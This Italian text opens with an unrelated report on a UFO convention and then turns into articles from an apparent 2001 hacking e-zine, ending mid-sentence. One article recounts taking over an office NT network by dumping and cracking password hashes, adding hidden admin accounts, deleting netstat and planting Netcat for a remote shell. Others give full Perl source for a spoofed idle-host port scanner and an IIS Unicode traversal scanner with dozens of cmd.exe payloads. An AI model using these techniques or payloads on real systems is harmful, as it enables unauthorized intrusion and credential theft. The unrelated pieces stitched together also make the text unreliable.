Ha riscosso il meritato successo il convegno UFO di Montesilvano di Pescara dal titolo
"Il contatto". Organizzato dall’ufologo Pino Morelli del Movimento Abruzzese Ricerche
Extraterrestri, in collaborazione con il Centro Ufologico Nazionale e le riviste
"Notiziario UFO" e "Dossier Alieni", il congresso ha registrato quasi il tutto esaurito.
E a ragione, visto il calibro degli ospiti.
Molti di essi, come Bill Hamilton III, Wendelle Stevens, Philip Corso e Robert Dean sostengono
di essere stati dei militari coinvolti in operazioni top secret sugli UFO; altri, come Eufemio
Del Buono o il messicano Carlos Diaz, contattisti, dicono di avere visto ripetutamente gli
alieni; e c’era chi, come l’americana Pamela Hamilton, raccontava di essere stata ripetutamente
rapita. Altri ancora, come l’inglese Desmond Leslie, co-autore dei libri del celeberrimo
contattista George Adamski, hanno scritto una pagina della storia dell’ufologia.
Certamente molti di questi personaggi sono discutibili, e l’intento delle riviste ufologiche
romane, principali sponsor della kermesse, era proprio quello di permettere al pubblico
italiano di poter incontrare e quindi valutare personaggi, controversi ma di spicco,
del panorama ufologico mondiale.
Come dire, prima di giudicare fatti e persone, è meglio conoscere.
E il pubblico ha chiaramente dimostrato di gradire, partecipando numeroso.


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #03 - 17/09/2001 |
| DiVENTAND0 ADMiNiSTRAT0R SU NT [tdi110cv] 0x06/0x29 |
+-------------------------------------------------------------------------------+

Autore : TDI110CV
Luogo : Ufficio
Orario : 13.30 (pausa !!!)
e-mail : tdi110cv@iname.com
Telefono : +8888 - 88
____________________________________________________________________________
Disclamer : E' vero , queste info potrebbero essere usate per creare grossi
danni , ma onestamente non me ne frega una mazza , primo perchè in giro
informazioni similari le si possono trovare ovunque , secondo perchè io
spiego solo come si usa un fucile , non invito a sparare alla gente con
quel fucile ... Chi ha orecchie per intendere intenda.
Vabbè cmq siccome spesso la legge non ha orecchie , e neanche intelligenza,
sottolineo che io non voglio sapere nulla dei casini creati con questa
tecnica. Io la tecnica la espongo ma non invito a usarla a danni altrui.
____________________________________________________________________________

Come ogni favola che si rispetti anche questa storiella,dalla quale mi auguro
che tutti voi possiate trarne dei profitti , comincera' con c'era una volta.
_____________________________________________________________________________

C'erano una volta dei buoni sistemisti che decisero di mettere mano ai PC
su cui lavoravano dei programmatori per far si che piu' nessuno potesse avere
accesso come administrator e installare cosi' qualsiasi applicazione che
gli saltasse in mente.
Onestamente il TDI , uno dei 500 programmatori , si senti' subito come
un topo in gabbia e decise quindi di tentare qualche cosuccia per ovviare
al problema.
Ebbene vi anticipo subito che logicamente ... il TDI riusci nel suo intento.
L'esigenza del buon programmatore era quella di poter installare qualsiasi
applicazione senza dover chiedere l'intervento di chi , molto egoisticamente ,
cerco' di mettere fine ai suoi innocenti smanettamenti.
C'è stato un periodo di riflessione in cui il TDI cerco' di capire come
fosse possbile arrivare allo scopo (Tritemius aveva i maroni appiattiti).
Ma dopo qualche tempo di smanettamento il TDI arrivo' a procurarsi il
famoso HK.EXE che gli consentiva , sfruttando un meno famoso buco di NT ,
(ocio che non funzia su WIN2k) di lanciare applicazioni con privilegi di
administrator.
Ebbene se non fosse per la sua enorme mente da bambino , che piu' ha e piu'
vuole , lo scopo sarebbe stato raggiunto.
Ma non era cosi' e con facilita' riusci' a capire che arrivando ai SAM della
sua macchina si sarebbe potuto arrivare anche ad avere il controllo totale
delle macchine NT connesse al suo stesso server di rete.
In effetti la cosa piu' semplice che puo' fare un sistemista mentecatto quando
deve mettere password a 500 macchine e' assegnarne una uguale per tutti.
Certo come comodita' non c'è dubbio , ma come sicurezza ...
Ebbene allora il TDI si mise al lavoro per arrivare ai SAM della sua macchina.
Gli fu relativamente semplice , con HK.EXE riusci' a prelevare i SAM
eseguendo per benino un bel RDISK /S e salvando i dati su dischetto.
Con LC3 a forza di brute force si trovo' la password dell'administrator
tra le mani.
Gli rimase quindi solo da verificare se anche le altre macchine in rete
avessero la stessa password presente sulla sua macchina.
Ebbene mediante netbios , attraverso un tools di amministrazione remota ,
e' stato facile capire che la sua idea era fondata.
Attualmente ogni macchina di quella lan e' potenzialmente sotto il totale
controllo del TDI che , grazie ai Pstools , e' in grado di agire su qualsiasi
funzione delle macchine remote.
Tra un net user tdi110cv /add , e un net localgroup administrators tdi110cv
di tempo ne e' passando e il buon programmatore/smanettone visse felice e
contento.

Tools usati dal TDI :

HK.EXE che vi permette di lanciare comandi con permessi di administrator.
RDISK /s (un tools inventato dal buon Bill)
LC3 Tools per il cracking delle password di NT.
PSTOOLS Tools di amministrazione remota di NT (www.sysinternals.com)

Problematiche :

1 - NORMALMENTE non dovrebbero esserci problemi di log poichè NT come 2000
non accumulano i log del netbios.
L'unico inconveniente e' il comando netstat.exe , ma il buon TDI risolse il
problema rinominando o cancellando l'utility.
2 - Dalla macchina su cui operate dovete loggarvi come administrator per
interagire su tutte le altre macchine in rete altrimenti dopo aver
eseguito il pstools continuerete a ricevere passwd errata.
Il perchè non mi e' ancora chiaro , ma cerchero' di andarne in fondo.
3 - Avere il culo che il Vostro sistemista segua la politica sopra descritta
altrimenti le strade da seguire saranno diverse e molto piu' complicate.
(exploit vari.)
3 - Assicuratevi che non ci siano firewall software.

Consigli :

Una volta connessi condividete una bella risorsa con il comando net share
e scaricateci il Netcat, in modo da potervi garantire una bella shell remota.
Utilizzate il comando net.exe in tutte le sue varianti per crearvi un vostro
sistema.
A sto punto se non siete dei mentecatti il sistema e' vostro , insomma fateci
quello che volete , ma io non ne voglio sapere.
N.B. Provate un pochino a pensare di intervenire sui permessi...

Alla fine e' dimostrato che da ogni storiella si puo' imparare qualche cosa.
La presente infatti e' una storia , una esperienza di hackeraggio , insomma
una esperienza personale che per svariati motivi non e' detto che possa
ripetersi su altre LAN.
Il punto e' proprio che sono curioso di saperlo .
Funzionera' anche su altre lan ? Bene provate e fatemi sapere.

Sincerely TDI110CV ___________________


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #03 - 17/09/2001 |
| SEST0 SENS0 [Tritemius] 0x07/0x29 |
+-------------------------------------------------------------------------------+

SEST0 SENS0
===========
Il problema e' questo: vogliamo effettuare lo scanning di un host, ma non
vogliamo esporre il nostro ip. Vogliamo usare dei pacchetti ip con l'indirizzo
sorgente contraffatto (spoofing), ma cosi' non saremo in grado di ricevere
nessuna risposta dal target (blind spoofing). Sembra una missione impossibile,
tuttavia esiste un modo per raggiungere il nostro scopo: ci vuole il sesto
senso...

iP SP00FiNG & TCP SP00FiNG
==========================
Spesso si usa il termine "spoofing" a sproposito. Viene utilizzato anche quando
si parla dell'utilizzo di proxy o socks.
L'ip spoofing propriamente detto e' una tecnica piuttosto sofisticata che ha
come
scopo, non solo la contraffazione dell'indirizzo ip sorgente, ma la creazione di

una vera e propria connessione tcp. Forse sarebbe piu' corretto definire questa
tecnica tcp spoofing, in quanto il grosso del lavoro non e' la modifica
dell'indirizzo
ip ma la predizione del numero iniziale di sequenza e la sincronizzazione della
connessione. Quindi ci troviamo nel dominio del tcp.
Se teniamo in considerzione quanto da me appena affermato, in questo articolo
parlo
in modo improprio di blind-spoofing, in quanto si agisce sul protocollo ip vero
e
proprio e non tanto sul tcp; pero' in pratica di questo si tratta: mandare
pacchetti
ip con l'indirizzo di una macchina che non e' la nostra, quindi noi non vedremo
MAI
la risposta, appunto ip blind-spoofing....

LA PRATiCA
==========
Le parti coinvolte in questo gioco sono 3:

A l'attacker, ovvero la nostra macchina
D il "dumb" host o silent host (host con traffico di rete a zero), la macchina
che
ci prestera' il suo ip
T il target, il nostro obiettivo (al quale non vogliamo rivelare il nostro vero
ip)

A invia un pacchetto ip a T con l'indirizzo di D; T risponde a D. Noi
interroghiamo
D che ci sa dire se la porta da noi testata e' aperta o chiusa.

Non c'e' mai un contatto diretto tra A e T; e' come se D facesse da proxy.

Se eseguiamo SixthSense senza argomenti appaiono le istruzioni
[xxx@xxx xxx]# perl ./SixthSense.pl

Usage ./SixthSense.pl -d <dumb_host> -t <target> -s <start port> -f <final port>
-i <interface>

-d e' i l dumb host (il "proxy" diciamo)
-t la macchina che vogliamo sottoporre a scanning
-s la prima porta da analizzare
-f l'ultima porta da analizzare
-i interfaccia (default e' ppp0)

facciamo lo scanning di yyy.yyy.yyy.yyy tramite xxx.xxx.xxx.xxx; vogliamo vedere
se la
porta 80 e' aperta:
[xxx@xxx xxx]# perl ./SixthSense.pl -d xxx.xxx.xxx.xxx -t yyy.yyy.yyy.yyy
-s 80 -f 80 -i eth0

Launching SixthSense by MH

Dummy : xxx.xxx.xxx.xxx
Target : yyy.yyy.yyy.yyy
Device : eth0
Startport : 80
Endport : 80


controlla se il dumb host e' idoneo
Scanning Dumb Host (for Dumbness)
12276
12277
12278
12279

Come si vede qui sopra, la sequenza di numeri mostra un incremento di una
unita'; questo
indica che l'host non ha traffico di rete e quindi e' idoneo per i nostri scopi

Ora crea i pacchetti con l'ip destinazione del target host e l'indirizzo
sorgente del dumb

We Have a consistant 1 increment host
*** Injecting Spoofed Packet ***

12280
12282
12283
12284


effettua lo scanning e ci consegna l'esito

*** Yup looks like 80 is open on yyy.yyy.yyy.yyy ***

*** 80 appear to b open on yyy.yyy.yyy.yyy

Sappiamo che la porta 80 e' aperta, e noi non abbiamo nemmeno sfiorato il target
:)


C0ME FUNZi0NA
=============
Intanto bisogna dire che il merito della scoperta di questa tecnica va
attribuito
a Salvatore Sanfilippo aka Antirez, uno dei migliori hacker italiani ben noto
nella
comunita' internazionale e stimato in tutto il mondo; lo script perl SixthSense
e' stato realizzato da Haroon Meer di sensepost.com.

Iniziamo. Il protocollo ip prevede un campo "id" (identification), di cui
possiamo
monitorare il valore utilizzando il tool hping (sempre di Antirez!) con
l'opzione -r:
Allora, A manda un pacchetto SYN alla macchina T sulla porta 80 con l'indirizzo
sorgente di D; se la porta 80 e' chiusa, il risultato sara' il seguente:
[i seguenti esempi sono presi da www.securiteam.com]

60 bytes from www.xxx.yyy.zzz: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 ms

Si puo' notare un incremento costante di 1. Ma non e' sempre cosi'. Se per
esempio
l'host invia un pacchetto SYN ad una determinata porta tcp di un host remoto, e
questa porta e' aperta, l'incremento sara' diverso

60 bytes from www.xxx.yyy.zzz: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 ms
60 bytes from www.xxx.yyy.zzz: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 ms

l'host manda un pacchetto SYN, l'host remoto risponde con SYN/ACK, cercando di
completare il three-way-handshake, ma D rispondera' a T con un pacchetto RST,
e incrementara' l'id in modo "anomalo".
Quindi, creando pacchetti con l'indirizzo sorgente di un altro host
(possibilmente
senza traffico di rete), e facendo effettuare lo scanning da questa macchina,
noi
saremo in grado di determinare lo stato di una porta remota senza "toccarla"
direttamente, ma interrogando il campo id del "dumb" host, il nostro "proxy".
Lo script che segue, SixthSense.pl non fa che automatizzare questa procedura.

8<-------------------------------------------------------------------------------
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
require 'getopts.pl';
# Proof of concept thingum, for AntiRez's scanning through
# host ip ID's - Allows for totally invisible port scan
# Select dummy_ip where dummy_IP is a host on the internet, that
# isn't actively communicating (or even one thats communicating, but
# very consistantly
$a = new Net::RawIP ({tcp =>{}});
$b = new Net::RawIP;
$c = new Net::RawIP;
Getopts('d:t:s:f:i:p');
$dummy = $opt_d;
$target = $opt_t;
$startport = $opt_s;
$device = $opt_i;
$device = 'ppp0' if($device eq "");
($opt_f == "") ? ($finalport = $startport) : ($finalport = $opt_f);
$my_int=${ifaddrlist()}{$device};
unless ($opt_d && $opt_t && $opt_s )
{
print "\nUsage $0 -d <dumb_host> -t <target> -s <start port> -f <final port> -i
<interface>\n"
;
exit;
}
print "\n Launching SixthSense by MH\n\n";
print " Dummy : $dummy\n Target : $target\n";
print " Device : $device\n Startport : $startport\n";
print " Endport : $finalport\n";
# Initiate lipbcap
$filt = 'ip proto \\tcp and dst '.$my_int.' and src '.$dummy;
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$offset = linkoffset($pcap);
print "\nScanning Dumb Host \(for Dumbness\)\n";
for($m=0;$m<4;$m++){sleep 1;&send_packet;loop $pcap,1,\&dmp,\@a;}
&dumb_scan;
if($winner==1){
for ($j=$startport;$j<$finalport+1;$j++)
{
undef @seqs;
$port = $j;
for($m=0;$m<4;$m++){sleep 1;&send_packet;&send_bad_packet($port);loop
$pcap,1,\&dmp,\@a;}
&post_spoof;
}
}
sub dmp{
$a->bset(substr($_[2],$offset));
my ($eyedee) = $a->get({ip => [qw(id)]});
printf(" %u\n",$eyedee);
push(@seqs,$eyedee);
}

sub dumb_scan{
# Make sure u have 4 non 0 id's before going on
do{sleep 1;}while($seqs[3]==0 || $seqs[2]==0 || $seqs[1]==0 ||
$seqs[0]==0);
# Check consistancy of ip id increments
if($seqs[3]-$seqs[2] == $seqs[2]-$seqs[1]
&& $seqs[2]-$seqs[1] == $seqs[1]-$seqs[0])
{
$diff = $seqs[2]-$seqs[1];
print "\nWe Have a consistant ",$diff," increment host\n";
print "*** Injecting Spoofed Packet ***\n\n";
undef @seqs;
$winner=1;
}
else {print "\n\n Dumb host not dumb enough... exiting..\n\n";}
}

sub post_spoof{
# Make sure we have 4 non-zero id's
do{sleep 1;}
while($seqs[3]==0 || $seqs[2]==0 || $seqs[1]==0 || $seqs[0]==0);
# Check if id increments remained constant, despite our spoofed
# packet
if($seqs[3]-$seqs[2] == $seqs[2]-$seqs[1] &&
$seqs[2]-$seqs[1] == $seqs[1]-$seqs[0] &&
$seqs[2]-$seqs[1] == $diff)
{print "\nNope... doesnt look like $port is open on $target \n\n";}
else {
print "\n*** Yup looks like $port is open on $target ***\n\n";
push(@disoop,$port);
}
}

sub send_packet{
$b->set({ ip => {saddr => $my_int,
daddr => $dummy},tcp=> {dest => 0,
source => 0, ack_seq => "0",}});
$b->send;
}

sub send_bad_packet{
$c->set({ ip => {saddr => $dummy,
daddr => $target},tcp=> {dest => $port,
source => '80',psh => 1,
syn => 1}});
$c->send;
}

sub END{
if($winner==1 && @disoop != ""){
print " *** ";
foreach(@disoop){print "$_ ";}
print " appear to b open on $target\n\n";
}
}
8<-------------------------------------------------------------------------------

C0NCLUSi0NE
===========
Non c'e' che dire: questa e' proprio una tecnica carina, molto stealth ed
elegante.
Di macchine "dumb" e' piena la Rete, basta fare alcune prove.
Sicuramente questo tipo di scanning ha dei difetti: e' lento e non e' affidabile

al 100%. Cmq al momento questa sembra essere la tecnica di scanning definitiva.




+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #03 - 17/09/2001 |
| SCANNiAM SCANNiAM0 CHE WiN2K L0 Vi0LiAM0 [tdi110cv] 0x08/0x29 |
+-------------------------------------------------------------------------------+

####################################################
# ++++++++++++++++++++++++++++++++++++++++++++++ #
# + Scanniam Scanniamo che noi Win2k lo violiamo + #
# + (e non con il piede di porco) + #
# + P A R T E - S E C O N D A + #
# ++++++++++++++++++++++++++++++++++++++++++++++ #
####################################################
Autore : TDI110CV
Luogo : Ufficio
Orario : 13.30 (pausa !!!)
e-mail : tdi110cv@iname.com
Telefono : +8888 - 88
____________________________________________________________________________
Disclamer piu' o meno legali !

- Allora ... il presente articolozzo e tutto il codice in esso contenuto
si intende ad uso e consumo unicamente di quelle persone che amministrano
uno o piu' server in questione al fine unico di testarne il grado di
vulnerabilita'. Per ogni altro utilizzo da parte di malintenzionati o
compagnia bella io TDI110CV declino ogni responsabilita' dichiarando che
in questo ultimo caso io non sono io e quindi io non posso aver scritto
quello che io sto per esporvi.
Infine io TDI110CV dichiaro di non sapere nulla in materia (che e' pure
vero) , e che se conoscevo non sapevo e che se sapevo non c'ero e se
c'ero non mi ricordo.
Insomma riassumendo sappiate che se fate casino son tutti cazzi Vostri !
____________________________________________________________________________
Ok , e' trascorso molto tempo da quando questo bug ha visto la rete,
ma se proprio volete saperlo attualmente sono ancora una marea i server
bacati.
Quindi io ho pensato bene di fornirvi un ennesimo Tool che scanni tutti gli
iis bacati dall'unicode directory trasversal Bug; al quale ho aggiunto
qualche richiesta nuova che sfrutta appunto il traforo in oggetto.
A voi e ciucciatevelo tutto !!!

Taiia chi' !
_______________________
#!/usr/bin/perl
# Usage: Perl check.pl host:port
#
# #######################################################################
# # A new Unicode Bug Scanner for IIS 4/5 From TDI110CV #
# # ~ WWW.ONDAQUADRA.CJB.NET ~ #
# #The only E-Zine That you must read if you want increase your security#
# #######################################################################
#
# Greats to : Tritemius , Jeyone , Vecna , Weisses , phobos ecc.
#


$|=1;
@unis=(
"/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir",
"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/scripts/.%255e/.%255e/winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir",
"/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir",
"/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir",
"/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir",
"/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir",
"/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d0%9v../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d0%qf../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%cg%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%cg%9v../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%cg%qf../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%bg%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%bg%9v../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%bg%qf../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%t0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%t0%9v../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%t0%qf../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s0%af../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s0%9v../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s0%qf../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d1%9c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d1%8s../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%d1%pc../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%ch%9c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%ch%8s../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%ch%pc../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s1%9c../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s1%8s../winnt/system32/cmd.exe?/c+dir",
"/scripts/..%s1%pc../winnt/system32/cmd.exe?/c+dir",
"/scripts/%d0%ae%d0%ae/%d0%ae%d0%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%d0%qe%d0%qe/%d0%qe%d0%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%d0%9u%d0%9u/%d0%9u%d0%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%c0%qe%c0%qe/%c0%qe%c0%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%c0%9u%c0%9u/%c0%9u%c0%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%cg%qe%cg%qe/%cg%qe%cg%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%cg%9u%cg%9u/%cg%9u%cg%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%cg%ae%cg%ae/%cg%ae%cg%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%bg%ae%bg%ae/%bg%ae%bg%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%80%ae%e0%80%ae/%e0%80%ae%e0%80%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%80%qe%e0%80%qe/%e0%80%qe%e0%80%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%80%9u%e0%80%9u/%e0%80%9u%e0%80%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%7g%ae%e0%7g%ae/%e0%7g%ae%e0%7g%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%7g%9u%e0%7g%9u/%e0%7g%9u%e0%7g%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%7g%qe%e0%7g%qe/%e0%7g%qe%e0%7g%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%o0%ae%e0%o0%ae/%e0%o0%ae%e0%o0%ae/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%o0%9u%e0%o0%9u/%e0%o0%9u%e0%o0%9u/winnt/system32/cmd.exe?/c+dir",
"/scripts/%e0%o0%qe%e0%o0%qe/%e0%o0%qe%e0%o0%qe/winnt/system32/cmd.exe?/c+dir",
"/scripts/%dg%80%ae%dg%80%ae/%dg%80%ae%dg%80%ae/winnt/system32/cmd.exe?/c+

  
dir",
"
/scripts/%dg%80%qe%dg%80%qe/%dg%80%qe%dg%80%qe/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%80%9u%dg%80%9u/%dg%80%9u%dg%80%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%7g%ae%dg%7g%ae/%dg%7g%ae%dg%7g%ae/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%7g%9u%dg%7g%9u/%dg%7g%9u%dg%7g%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%7g%qe%dg%7g%qe/%dg%7g%qe%dg%7g%qe/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%o0%ae%dg%o0%ae/%dg%o0%ae%dg%o0%ae/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%o0%9u%dg%o0%9u/%dg%o0%9u%dg%o0%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%dg%o0%qe%dg%o0%qe/%dg%o0%qe%dg%o0%qe/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%80%ae%u0%80%ae/%u0%80%ae%u0%80%ae/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%80%qe%u0%80%qe/%u0%80%qe%u0%80%qe/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%80%9u%u0%80%9u/%u0%80%9u%u0%80%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%7g%ae%e0%7g%ae/%e0%7g%ae%e0%7g%ae/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%7g%9u%e0%7g%9u/%e0%7g%9u%e0%7g%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%7g%qe%e0%7g%qe/%e0%7g%qe%e0%7g%qe/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%o0%ae%e0%o0%ae/%e0%o0%ae%e0%o0%ae/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%o0%9u%e0%o0%9u/%e0%o0%9u%e0%o0%9u/winnt/system32/cmd.exe?/c+dir",
"
/scripts/%u0%o0%qe%e0%o0%qe/%e0%o0%qe%e0%o0%qe/winnt/system32/cmd.exe?/c+dir");

use Socket;
# --------------init
if ($#ARGV<0) {die "
Usage: decodecheck IP:port\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "
Testing $host:$port : ";
$target = inet_aton($host);
$flag=0;

foreach $uni (@unis){
print "
.";
my @results=sendraw("
GET $uni HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /Directory/) {print "
Not safe:\n $uni\n"; $flag=1;}
}
}

# ---------------result
if ($flag==1){print "
The system is Vulnerable ... good look \n";}
else {print "
The system is Safe...Sorry !\n";}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("
Socket problems\n");
if(connect(S,pack "
SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("
Can't connect...\n"); }
}


_______________________
Taiia acchi' !

Bene anche la seconda parte e' conclusa ! Fatene buon uso !
Approposito le ferie come sono andate ?
Sincerely TDI110CV ____________________


+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [HACKiNG] #03 - 17/09/2001 |
| GUiDA ALL'HACKiNG v. 0.5 [Xp Terminator] 0x09/0x29 |
+-------------------------------------------------------------------------------+


Powered by vi rulez ;)


Voglio premettere innanzi tutto che questa guida, non spiega
ne come entrare nel server del Pentagono, ne in quello della
NASA, da solo un'idea generale dei vari scenari che si possono
presentare durante un hackaggio. Spiega le varie e più diffuse
tecniche di occultamento e falsificazione dell'IP ed insieme
spiega trucchi su come compiere attacchi sia ad alto livello,
sia a basso livello come l'hijacking del protocollo TCP.
Ricordo inoltre che in questa guida vengono sorvolati argomenti
pur importanti come le shell, i comandi unix, il cracking delle password,
che si intendono come "
conoscenza base" per poter continuare.
Quindi un consiglio per chi legge è che abbia già letto un'altra
guida base all'hacking...nonostante questo però la prima parte
